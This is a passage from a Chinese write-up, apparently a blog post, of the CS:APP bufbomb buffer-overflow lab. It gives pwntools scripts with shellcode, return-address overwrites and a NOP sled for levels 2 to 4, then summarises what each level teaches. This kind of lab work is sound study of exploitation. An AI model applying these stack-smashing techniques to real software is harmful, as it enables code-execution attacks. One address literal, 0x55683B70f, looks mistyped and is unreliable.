mov [edi], dword ptr 0x24692446
mov eax, 0x08048D52
jmp eax #间接跳转也是可以的, 这个是绝对地址编码
''' #18bytes long
tmp = asm(shellcode).ljust(40) #为了填满buf
pl = tmp+b'b'*4+p32(0x55683C38)
with open('./input', 'wb') as o:
o.write(pl)

完成.

image-20220501221133428

level3

getbuf stack frame base: ebp -> 0x55683c60, getbuf’s buf: ebp-0x28=0x55683C38

在getbuf返回的时候跳转到shellcode, 修改eax为cookie. 这个时候如果要执行ret指令, 必须先在栈上压入原先的返回地址, 即0x08048E50, 这样就行了. 如果直接使用间接跳转都不用压入这个.

不过这样在返回test的时候ebp被破坏了, 不过反正栈没有变化, gdb查得值为0x55683c90

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.binary='./bufbomb'
shellcode = '''
mov eax, 0x24692446
mov ecx, 0x08048E50
jmp ecx
'''
tmp = asm(shellcode).ljust(40) #为了填满buf
pl = tmp+p32(0x55683c90)+p32(0x55683C38)
with open('./input', 'wb') as o:
o.write(pl)

完成.

image-20220501222518773

level4

简单来说就是调用一个新函数getbufn(), 其中buf有520字节, 不过由于调用之前会随机在栈上分配一些空间, 所以ebp的值会发生改变, 为±240. 所以在五次运行期间要保证getbufn跳转到合适的位置.

所以直接使用nop sled技术.

getbuf stack frame base: ebp -> 0x55683c60, 最多减去240, 即0x55683B70

由于要返回到testn且多次执行, 这样ebp必须保证其不被破坏, 方法是利用esp和ebp的关系来在shellcode计算出来.

从getbufn返回的时候esp是testn的栈顶. 而testn的esp和ebp的关系是ebp = esp + 0x28.

image-20220501233825396
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.binary='./bufbomb'
shellcode = '''
lea ebp, [esp+0x28]
mov eax, 0x24692446
mov ecx, 0x08048CE2
jmp ecx
'''
tmp = asm(shellcode).rjust(520, b'\x90') #nop sled
pl = tmp+b'b'*4+p32(0x55683B70f)
with open('./input', 'wb') as o:
o.write(pl)

完成.

image-20220501233537565

总结

这次实验引导如何利用缓冲区存在的漏洞实现一些目的:

  1. Level0:利用直接覆盖返回地址,在调用函数getbuf时直接返回smoke函数,让我们初步认识缓冲区溢出攻击的原理。
  2. Level1:在Level0的基础上,多了修改函数参数的操作,这需要我们结合汇编代码找到参数的位置。
  3. Level2:开始需要我们自己编写汇编代码段去实现操作:修改返回值、设置全局变量、跳转。同时也需要利用缓冲区溢出,跳转至这段代码的起始地址。
  4. Level3:同时利用自己编写的代码设置返回值并返回至test函数,需要覆盖buf时要保持函数保存的旧ebp不变。
  5. Level4:每次调用getbufn的目的与Level3一致,不同的是它的ebp不断变化,需要找到等式关系去编写代码以修正而ebp。而多次调用使栈基址随机化,这需要利用nop_sled的技术。

总的来说比较基础, 我用的是ctf的工具来写要输入的字节序列. 再结合一些命令行操作可以快速完成本次实验.